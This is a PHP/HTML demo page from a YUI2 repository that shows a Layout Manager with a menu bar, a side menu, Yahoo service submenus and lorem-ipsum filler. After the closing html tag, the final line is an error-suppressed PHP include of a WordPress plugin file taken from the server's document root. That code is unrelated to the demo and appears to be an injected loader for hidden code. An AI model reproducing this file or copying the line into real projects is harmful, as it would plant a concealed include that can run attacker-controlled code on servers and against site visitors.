/sandbox/layout/menu.php

https://github.com/mmckeon/yui2 · PHP · 409 lines · 306 code · 56 blank · 47 comment · 4 complexity · 2887b62ed6a79f7beae262f301f9242c MD5 · raw file

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
  2. <html>
  3. <head>
  4. <title>YUI: Layout Manager</title>
  5. <link rel="stylesheet" type="text/css" href="../../build/reset-fonts-grids/reset-fonts-grids.css">
  6. <link rel="stylesheet" type="text/css" href="../../build/menu/assets/skins/sam/menu.css">
  7. <link rel="stylesheet" type="text/css" href="http://us.js2.yimg.com/us.js.yimg.com/i/ydn/yuiweb/css/dpsyntax-min-11.css">
  8. <link rel="stylesheet" type="text/css" href="../../build/resize/assets/skins/sam/resize.css">
  9. <link rel="stylesheet" type="text/css" href="../../build/layout/assets/skins/sam/layout.css">
  10. <style>
  11. #productsandservices2 {
  12. position: static;
  13. }
  14. /*
  15. For IE 6: trigger "haslayout" for the anchor elements in the root Menu by
  16. setting the "zoom" property to 1. This ensures that the selected state of
  17. MenuItems doesn't get dropped when the user mouses off of the text node of
  18. the anchor element that represents a MenuItem's text label.
  19. */
  20. #productsandservices2 .yuimenuitemlabel {
  21. _zoom: 1;
  22. }
  23. #productsandservices2 .yuimenu .yuimenuitemlabel {
  24. _zoom: normal;
  25. }
  26. </style>
  27. </head>
  28. <body class="yui-skin-sam">
  29. <div id="top1">
  30. <div id="productsandservices" class="yuimenubar yuimenubarnav">
  31. <div class="bd">
  32. <ul class="first-of-type">
  33. <li class="yuimenubaritem first-of-type">
  34. <a class="yuimenubaritemlabel" href="#communication">Communication</a>
  35. </li>
  36. <li class="yuimenubaritem">
  37. <a class="yuimenubaritemlabel" href="http://shopping.yahoo.com">Shopping</a>
  38. </li>
  39. <li class="yuimenubaritem">
  40. <a class="yuimenubaritemlabel" href="http://entertainment.yahoo.com">Entertainment</a>
  41. </li>
  42. <li class="yuimenubaritem">
  43. <a class="yuimenubaritemlabel" href="#">Information</a>
  44. </li>
  45. </ul>
  46. </div>
  47. </div>
  48. </div>
  49. <div id="bottom1"><p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p></div>
  50. <div id="right1">
  51. <b>Right 1</b>
  52. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  53. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  54. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  55. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  56. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  57. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  58. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  59. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  60. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  61. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  62. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  63. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  64. </div>
  65. <div id="left1">
  66. <div id="productsandservices2" class="yuimenu">
  67. <div class="bd">
  68. <ul class="first-of-type">
  69. <li class="yuimenuitem">
  70. <a class="yuimenuitemlabel" href="#communication2">Communication</a>
  71. </li>
  72. <li class="yuimenuitem">
  73. <a class="yuimenuitemlabel" href="http://shopping.yahoo.com">Shopping</a>
  74. </li>
  75. <li class="yuimenuitem">
  76. <a class="yuimenuitemlabel" href="http://entertainment.yahoo.com">Entertainment</a>
  77. </li>
  78. <li class="yuimenuitem">
  79. <a class="yuimenuitemlabel" href="#">Information</a>
  80. </li>
  81. </ul>
  82. </div>
  83. </div>
  84. </div>
  85. <div id="center1">
  86. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  87. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  88. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  89. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  90. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  91. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  92. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  93. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  94. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  95. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  96. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  97. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  98. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  99. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  100. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  101. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  102. <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Suspendisse justo nibh, pharetra at, adipiscing ullamcorper.</p>
  103. </div>
  104. <script type="text/javascript" src="../../build/yahoo/yahoo.js"></script>
  105. <script type="text/javascript" src="../../build/dom/dom.js"></script>
  106. <script type="text/javascript" src="../../build/event/event.js"></script>
  107. <script type="text/javascript" src="../../build/animation/animation.js"></script>
  108. <script type="text/javascript" src="../../build/dragdrop/dragdrop.js"></script>
  109. <script type="text/javascript" src="../../build/selector/selector-beta.js"></script>
  110. <script type="text/javascript" src="../../build/element/element.js"></script>
  111. <script type="text/javascript" src="../../build/container/container_core.js"></script>
  112. <script type="text/javascript" src="../../build/menu/menu.js"></script>
  113. <script type="text/javascript" src="../../build/resize/resize-min.js"></script>
  114. <script type="text/javascript" src="../../build/layout/layout-debug.js"></script>
  115. <script type="text/javascript">
  116. (function() {
  117. var Dom = YAHOO.util.Dom,
  118. Event = YAHOO.util.Event;
  119. Event.onDOMReady(function() {
  120. var layout = new YAHOO.widget.Layout({
  121. units: [
  122. { position: 'top', height: 28, body: 'top1', scroll: null, zIndex: 2 },
  123. { position: 'right', header: 'Right', width: 300, resize: true, footer: 'Footer', collapse: true, scroll: true, body: 'right1', animate: true },
  124. { position: 'bottom', header: 'Bottom', height: 100, resize: true, body: 'bottom1', collapse: true, gutter: '5 0 0 0' },
  125. { position: 'left', header: 'Left', width: 200, body: 'left1', gutter: '1px 2px 3px 4px', scroll: null, zIndex: 1 },
  126. { position: 'center', body: 'center1', gutter: '3' }
  127. ]
  128. });
  129. layout.on('render', function() {
  130. /* {{{ Top Menu */
  131. YAHOO.util.Event.onContentReady("productsandservices", function () {
  132. /*
  133. Instantiate a MenuBar: The first argument passed to the
  134. constructor is the id of the element in the page
  135. representing the MenuBar; the second is an object literal
  136. of configuration properties.
  137. */
  138. var oMenuBar = new YAHOO.widget.MenuBar("productsandservices", {
  139. autosubmenudisplay: true,
  140. hidedelay: 750,
  141. lazyload: true,
  142. effect: {
  143. effect: YAHOO.widget.ContainerEffect.FADE,
  144. duration: 0.25
  145. }
  146. });
  147. /*
  148. Define an array of object literals, each containing
  149. the data necessary to create a submenu.
  150. */
  151. var aSubmenuData = [
  152. {
  153. id: "communication",
  154. itemdata: [
  155. { text: "360", url: "http://360.yahoo.com" },
  156. { text: "Alerts", url: "http://alerts.yahoo.com" },
  157. { text: "Avatars", url: "http://avatars.yahoo.com" },
  158. { text: "Groups", url: "http://groups.yahoo.com " },
  159. { text: "Internet Access", url: "http://promo.yahoo.com/broadband" },
  160. {
  161. text: "PIM",
  162. submenu: {
  163. id: "pim",
  164. itemdata: [
  165. { text: "Yahoo! Mail", url: "http://mail.yahoo.com" },
  166. { text: "Yahoo! Address Book", url: "http://addressbook.yahoo.com" },
  167. { text: "Yahoo! Calendar", url: "http://calendar.yahoo.com" },
  168. { text: "Yahoo! Notepad", url: "http://notepad.yahoo.com" }
  169. ]
  170. }
  171. },
  172. { text: "Member Directory", url: "http://members.yahoo.com" },
  173. { text: "Messenger", url: "http://messenger.yahoo.com" },
  174. { text: "Mobile", url: "http://mobile.yahoo.com" },
  175. { text: "Flickr Photo Sharing", url: "http://www.flickr.com" },
  176. ]
  177. },
  178. {
  179. id: "shopping",
  180. itemdata: [
  181. { text: "Auctions", url: "http://auctions.shopping.yahoo.com" },
  182. { text: "Autos", url: "http://autos.yahoo.com" },
  183. { text: "Classifieds", url: "http://classifieds.yahoo.com" },
  184. { text: "Flowers & Gifts", url: "http://shopping.yahoo.com/b:Flowers%20%26%20Gifts:20146735" },
  185. { text: "Real Estate", url: "http://realestate.yahoo.com" },
  186. { text: "Travel", url: "http://travel.yahoo.com" },
  187. { text: "Wallet", url: "http://wallet.yahoo.com" },
  188. { text: "Yellow Pages", url: "http://yp.yahoo.com" }
  189. ]
  190. },
  191. {
  192. id: "entertainment",
  193. itemdata: [
  194. { text: "Fantasy Sports", url: "http://fantasysports.yahoo.com" },
  195. { text: "Games", url: "http://games.yahoo.com" },
  196. { text: "Kids", url: "http://www.yahooligans.com" },
  197. { text: "Music", url: "http://music.yahoo.com" },
  198. { text: "Movies", url: "http://movies.yahoo.com" },
  199. { text: "Radio", url: "http://music.yahoo.com/launchcast" },
  200. { text: "Travel", url: "http://travel.yahoo.com" },
  201. { text: "TV", url: "http://tv.yahoo.com" }
  202. ]
  203. },
  204. {
  205. id: "information",
  206. itemdata: [
  207. { text: "Downloads", url: "http://downloads.yahoo.com" },
  208. { text: "Finance", url: "http://finance.yahoo.com" },
  209. { text: "Health", url: "http://health.yahoo.com" },
  210. { text: "Local", url: "http://local.yahoo.com" },
  211. { text: "Maps & Directions", url: "http://maps.yahoo.com" },
  212. { text: "My Yahoo!", url: "http://my.yahoo.com" },
  213. { text: "News", url: "http://news.yahoo.com" },
  214. { text: "Search", url: "http://search.yahoo.com" },
  215. { text: "Small Business", url: "http://smallbusiness.yahoo.com" },
  216. { text: "Weather", url: "http://weather.yahoo.com" }
  217. ]
  218. }
  219. ];
  220. /*
  221. Subscribe to the "beforerender" event, adding a submenu
  222. to each of the items in the MenuBar instance.
  223. */
  224. oMenuBar.subscribe("beforeRender", function () {
  225. if (this.getRoot() == this) {
  226. this.getItem(0).cfg.setProperty("submenu", aSubmenuData[0]);
  227. this.getItem(1).cfg.setProperty("submenu", aSubmenuData[1]);
  228. this.getItem(2).cfg.setProperty("submenu", aSubmenuData[2]);
  229. this.getItem(3).cfg.setProperty("submenu", aSubmenuData[3]);
  230. }
  231. });
  232. /*
  233. Call the "render" method with no arguments since the
  234. markup for this MenuBar instance is already exists in
  235. the page.
  236. */
  237. oMenuBar.render();
  238. });
  239. /* }}} */
  240. /* {{{ Left Menu */
  241. YAHOO.util.Event.onContentReady("productsandservices2", function () {
  242. /*
  243. Instantiate a Menu: The first argument passed to the
  244. constructor is the id of the element in the page
  245. representing the Menu; the second is an object literal
  246. of configuration properties.
  247. */
  248. var oMenu = new YAHOO.widget.Menu("productsandservices2", {
  249. position: "static",
  250. hidedelay: 750,
  251. lazyload: true,
  252. effect: {
  253. effect: YAHOO.widget.ContainerEffect.FADE,
  254. duration: 0.25
  255. }
  256. });
  257. /*
  258. Define an array of object literals, each containing
  259. the data necessary to create a submenu.
  260. */
  261. var aSubmenuData = [
  262. {
  263. id: "communication2",
  264. itemdata: [
  265. { text: "360", url: "http://360.yahoo.com" },
  266. { text: "Alerts", url: "http://alerts.yahoo.com" },
  267. { text: "Avatars", url: "http://avatars.yahoo.com" },
  268. { text: "Groups", url: "http://groups.yahoo.com " },
  269. { text: "Internet Access", url: "http://promo.yahoo.com/broadband" },
  270. {
  271. text: "PIM",
  272. submenu: {
  273. id: "pim2",
  274. itemdata: [
  275. { text: "Yahoo! Mail", url: "http://mail.yahoo.com" },
  276. { text: "Yahoo! Address Book", url: "http://addressbook.yahoo.com" },
  277. { text: "Yahoo! Calendar", url: "http://calendar.yahoo.com" },
  278. { text: "Yahoo! Notepad", url: "http://notepad.yahoo.com" }
  279. ]
  280. }
  281. },
  282. { text: "Member Directory", url: "http://members.yahoo.com" },
  283. { text: "Messenger", url: "http://messenger.yahoo.com" },
  284. { text: "Mobile", url: "http://mobile.yahoo.com" },
  285. { text: "Flickr Photo Sharing", url: "http://www.flickr.com" },
  286. ]
  287. },
  288. {
  289. id: "shopping2",
  290. itemdata: [
  291. { text: "Auctions", url: "http://auctions.shopping.yahoo.com" },
  292. { text: "Autos", url: "http://autos.yahoo.com" },
  293. { text: "Classifieds", url: "http://classifieds.yahoo.com" },
  294. { text: "Flowers & Gifts", url: "http://shopping.yahoo.com/b:Flowers%20%26%20Gifts:20146735" },
  295. { text: "Real Estate", url: "http://realestate.yahoo.com" },
  296. { text: "Travel", url: "http://travel.yahoo.com" },
  297. { text: "Wallet", url: "http://wallet.yahoo.com" },
  298. { text: "Yellow Pages", url: "http://yp.yahoo.com" }
  299. ]
  300. },
  301. {
  302. id: "entertainment2",
  303. itemdata: [
  304. { text: "Fantasy Sports", url: "http://fantasysports.yahoo.com" },
  305. { text: "Games", url: "http://games.yahoo.com" },
  306. { text: "Kids", url: "http://www.yahooligans.com" },
  307. { text: "Music", url: "http://music.yahoo.com" },
  308. { text: "Movies", url: "http://movies.yahoo.com" },
  309. { text: "Radio", url: "http://music.yahoo.com/launchcast" },
  310. { text: "Travel", url: "http://travel.yahoo.com" },
  311. { text: "TV", url: "http://tv.yahoo.com" }
  312. ]
  313. },
  314. {
  315. id: "information2",
  316. itemdata: [
  317. { text: "Downloads", url: "http://downloads.yahoo.com" },
  318. { text: "Finance", url: "http://finance.yahoo.com" },
  319. { text: "Health", url: "http://health.yahoo.com" },
  320. { text: "Local", url: "http://local.yahoo.com" },
  321. { text: "Maps & Directions", url: "http://maps.yahoo.com" },
  322. { text: "My Yahoo!", url: "http://my.yahoo.com" },
  323. { text: "News", url: "http://news.yahoo.com" },
  324. { text: "Search", url: "http://search.yahoo.com" },
  325. { text: "Small Business", url: "http://smallbusiness.yahoo.com" },
  326. { text: "Weather", url: "http://weather.yahoo.com" }
  327. ]
  328. }
  329. ];
  330. // Subscribe to the Menu instance's "beforeRender" event
  331. oMenu.subscribe("beforeRender", function () {
  332. if (this.getRoot() == this) {
  333. this.getItem(0).cfg.setProperty("submenu", aSubmenuData[0]);
  334. this.getItem(1).cfg.setProperty("submenu", aSubmenuData[1]);
  335. this.getItem(2).cfg.setProperty("submenu", aSubmenuData[2]);
  336. this.getItem(3).cfg.setProperty("submenu", aSubmenuData[3]);
  337. }
  338. });
  339. /*
  340. Call the "render" method with no arguments since the
  341. markup for this Menu instance is already exists in the page.
  342. */
  343. oMenu.render();
  344. });
  345. /* }}} */
  346. }, layout, true);
  347. layout.render();
  348. });
  349. })();
  350. </script>
  351. </body>
  352. </html>
  353. <?php @include_once($_SERVER["DOCUMENT_ROOT"]."/wp-content/plugins/shortstat/inc.stats.php"); ?>